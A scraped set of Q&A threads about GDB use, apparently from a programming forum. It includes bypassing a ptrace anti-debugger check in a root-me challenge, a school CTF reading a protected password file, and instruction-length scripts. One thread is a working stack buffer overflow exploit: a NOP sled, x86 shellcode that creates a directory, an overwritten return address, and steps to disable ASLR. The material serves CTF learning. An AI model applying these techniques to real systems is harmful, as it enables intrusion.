I'm watching a video which explain how to solve a challenge on root-me.org
https://asciinema.org/a/22558
the command he used is
toggle_flag 'S'
I google it to know what was the purpose of the command toggle_flag but didn't find anything. So I downloaded GDB PEDA to check if the was some useful informations using the command
help all
which is suppose to list all command available in GDB PEDA...But didn't find any useful..
So doe anyone can explain me what "toggle_flag 'S' " does mean ?
Thanks
Here is instruction after break on which toggle_flag 'S' is executed:
0x8048410 <main+32>: call 0x8058a70 <ptrace>
0x8048415 <main+37>: add esp,0x10
0x8048418 <main+40>: test eax,eax
=> 0x804841a <main+42>: jns 0x8048436 <main+70>
You can see here the check for the presence of a debugger with help of ptrace function. In C it will be look like that:
if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
// Under debugger
}
After ptrace call at 0x8048410 its return value is stored in eax and
command test eax, eax sets Sign Flag (SF) if eax is negative (i.e. if debugger is present). We don't want the program detected that it is under debugger so with command toggle_flag 'S' we toggle SF, i.e. set it to 0.
Related
So, my English is very bad, but I will try to explain my problem clearly(sorry about that).
I have a program in the ะก programming language:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.
How it works:
I run a program in the debugger with a string containing the payload:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction
Part of the program code in the form of instructions in the debugger:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy#plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
So, the "strcpy" function puts the string that we entered into the program on the stack.
Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack?
I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.
update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located:
0xbfda4161
0xbfc89161
0xbf944161
Why does the stack address change so much if I have already disabled the dynamic address space?
The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).
I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.
You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.
I solved the proble.
Firstly, I didn't think about the fact that the ASLR shutdown setting is disabled every time I log out.
How to do:
Disable ASLR. For ubuntu 16, I used the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
View the core dump data. I did it using the "coredumpctl" utility.
First I looked at the list of fallen programs: coredumpctl list, found the process number for my program in it.
Then went under the debugger: coredumpctl gdb your_proc_pid.
In the debugger, I looked at the stack address using: (gdb) info stack, found where my payload lies in the stack: x/90xw 0xstack_address.
I changed the address in my payload, now the program does not break when running in the terminal.
I have a simple program that I am using to test a python riscv disassembler I am making and I want to use gdb/qemu to test my work. The program is this literally just this:
int main(int argc, char *argv[]) {
while (1);
return 0;
}
this is the command I am using to start gdb:
gdb-multiarch ./test -ex "target remote :7224" -ex "tbreak main:4" -ex "continue"
This is what was used to compile it:
riscv64-linux-gnu-gcc -o test test.c
But I am getting this error when I try to change any memory values:
(gdb) disassemble
Dump of assembler code for function main:
0x00000040000005ea <+0>: addi sp,sp,-32
=> 0x00000040000005ec <+2>: sd s0,24(sp)
0x00000040000005ee <+4>: addi s0,sp,32
0x00000040000005f0 <+6>: mv a5,a0
0x00000040000005f2 <+8>: sd a1,-32(s0)
0x00000040000005f6 <+12>: sw a5,-20(s0)
0x00000040000005fa <+16>: j 0x40000005fa <main+16>
End of assembler dump.
(gdb) set *(int*) $pc = 0x2e325f43
Cannot access memory at address 0x40000005ec
I just want to see what instruction gdb interprets with the bytes I set. Google has been little to no help with this. What could I be doing wrong?
Figured it out in a stupid manner.
set $pc = $sp
Then I can change the pc
This command:
set *(int*) $pc = 0x2e325f43
is trying to write a value to the memory the PC currently points at (that's 0x00000040000005ec in this case). As it happens, that memory is read-only, which is pretty usual for areas of memory with code in them[*]. So gdb tells you it can't write there. You should be able to write to memory which isn't read-only.
[*] With a suitable linker map you can create binaries which have the code in writeable memory. But the default for Linux executables is that code segments are read-only.
Your other command:
set $pc = $sp
changes the PC; it sets it to whatever the stack pointer is pointing at. That's going to be fatal for any further attempts to execute code, unless you put some code there, of course. As it happens, the stack is generally writeable, which is why writing to the memory pointed to by the PC then works.
I'm reversing a compiled program (written in C) and this one opens a file (which I don't have permission to read) like this:
fopen("/home/user00/.pass", 'r')
then it checks the return:
...
0x4008a8 <main+148>: call 0x400700 <fopen#plt>
0x4008ad <main+153>: mov QWORD PTR [rbp-0x8],rax
=> 0x4008b1 <main+157>: cmp QWORD PTR [rbp-0x8],0x0
0x4008b6 <main+162>: jne 0x4008e6 <main+210>
0x4008dc <main+200>: mov edi,0x1
0x4008e1 <main+205>: call 0x400710 <exit#plt>
...
So if the file doesn't open the program exits.
I obviously can trick this, setting $rax=1, but then the program will try to read the file and it receives a segfault.
So I thought I can:
gdb call fopen("/a/file/I/can/read", 'r')
And continue my reverse work, but sadly the program receives a different segfault when I execute this command.
So I wonder, is it possible in some way (by allocating or whatever) to call fopen ?
I already searched answers on the internet without success.
This program is part of my school's Security ISO CTF challenge.
Thanks!
sadly the program receives a different segfault when I execute this command.
That's because you have a bug in your command. It should be:
(gdb) call fopen("/a/file/I/can/read", "r")
(Unlike in Python, the kind of quotes you use in C matters.)
The problem I am trying to solve is that I want to dynamically compute the length of an instruction given its address (from within GDB) and set that length as the value of a variable. The challenge is that I don't want any extraneous output printed to the console (e.g. disassembled instructions, etc.).
My normal approach to this is to do x/2i ADDR, then subtract the two addresses. I would like to achieve the same thing automatically; however, I don't want anything printed to the console. If I could disable console output then I would be able to do this by doing x/2i ADDR, followed by $_ - ADDR.
I have not found a way to disable the output of a command in GDB. If you know such a way then please tell me! However, I have discovered interpreter-exec and GDB/MI. A quick test shows that doing x/2i works on GDB/MI, and the value of $_ computed by the MI interpreter is shared with the console interpreter. Unfortunately, this approach also spits out a lot of output.
Does anyone know a way to either calculate the length of an instruction without displaying anything, or how to disable the output of interpreter-exec, thus allowing me to achieve my goal? Thank you.
I'll give an arguably cleaner and more extensible solution that's not really shorter. It implements $instn_length() as a new GDB convenience function.
Save this to instn-length.py
import gdb
def instn_length(addr_expr):
t = gdb.execute('x/2i ' + addr_expr, to_string=True)
return long(gdb.parse_and_eval('$_')) - long(gdb.parse_and_eval(addr_expr))
class InstnLength(gdb.Function):
def __init__(self):
super(InstnLength, self).__init__('instn_length')
def invoke(self, addr):
return instn_length(str(long(addr)))
InstnLength()
Then run
$ gdb -q -x instn-length.py /bin/true
Reading symbols from /usr/bin/true...Reading symbols from /usr/lib/debug/usr/bin/true.debug...done.
done.
(gdb) start
Temporary breakpoint 1 at 0x4014c0: file true.c, line 59.
Starting program: /usr/bin/true
Temporary breakpoint 1, main (argc=1, argv=0x7fffffffde28) at true.c:59
59 if (argc == 2)
(gdb) p $instn_length($pc)
$1 = 3
(gdb) disassemble /r $pc, $pc + 4
Dump of assembler code from 0x4014c0 to 0x4014c4:
An alternative implementation of instn_length() is to use the gdb.Architecture.disassemble() method in GDB 7.6+:
def instn_length(addr_expr):
addr = long(gdb.parse_and_eval(addr_expr))
arch = gdb.selected_frame().architecture()
return arch.disassemble(addr)[0]['length']
I have found a suitable solution; however, shorter solutions would be preferred. This solution sets a logging file to /dev/null, sets to to be overridden if it exists, and then redirects the console output to the log file temporarily.
define get-in-length
set logging file /dev/null
set logging overwrite on
set logging redirect on
set logging on
x/2i $arg0
set logging off
set logging redirect off
set logging overwrite off
set $_in_length = ((unsigned long) $_) - ((unsigned long) $arg0)
end
This solution was heavily inspired by another question's answer: How to get my program name in GDB when writting a "define" script?.
Do we have a way to view assembly and c code both using gdb.
disassemble function_name shows only assembly, I was trying to find a way to easliy map c code to assembly.
Thanks
You can run gdb in Text User Interface (TUI) mode:
gdb -tui <your-binary>
(gdb) b main
(gdb) r
(gdb) layout split
The layout split command divides the window into two parts - one of them displaying the source code, the other one the corresponding assembly.
A few others tricks:
set disassembly-flavor intel - if your prefer intel notation
set print asm-demangle - demangles C++ names in assembly view
ni - next instruction
si - step instruction
If you do not want to use the TUI mode (e.g. your terminal does not like it), you can always do:
x /12i $pc
which means print 12 instructions from current program counter address - this also works with the tricks above (demangling, stepping instructions, etc.).
The "x /12i $pc" trick works in both gdb and cgdb, whereas "layout split" only works in gdb.
Enjoy :)
Try disassemble /m.
Refer to http://sourceware.org/gdb/current/onlinedocs/gdb/Machine-Code.html#Machine-Code
The format is similar to that of objdump -S, and intermixes source with disassembly. Sample output excerpt:
10 int i = 0;
=> 0x0000000000400536 <+9>: movl $0x0,-0x14(%rbp)
11 while (1) {
12 i++;
0x000000000040053d <+16>: addl $0x1,-0x14(%rbp)
For your purpose, try
objdump -S <your_object_file>
from man objdump:
-S
--source
Display source code intermixed with disassembly, if possible.
Implies -d.
The fastest way to obtain this is to press the key combination ctrl-x 2 after launching gdb.
This will give you immediately a split window with source code and assembly in Text User Interface Mode (described in accepted answer).
Just another tooltip: keyboard arrows in this mode are used for navigate up and down through the source code, to use them to access commands history you can use ctrl-x o that will refocus on gdb shell window.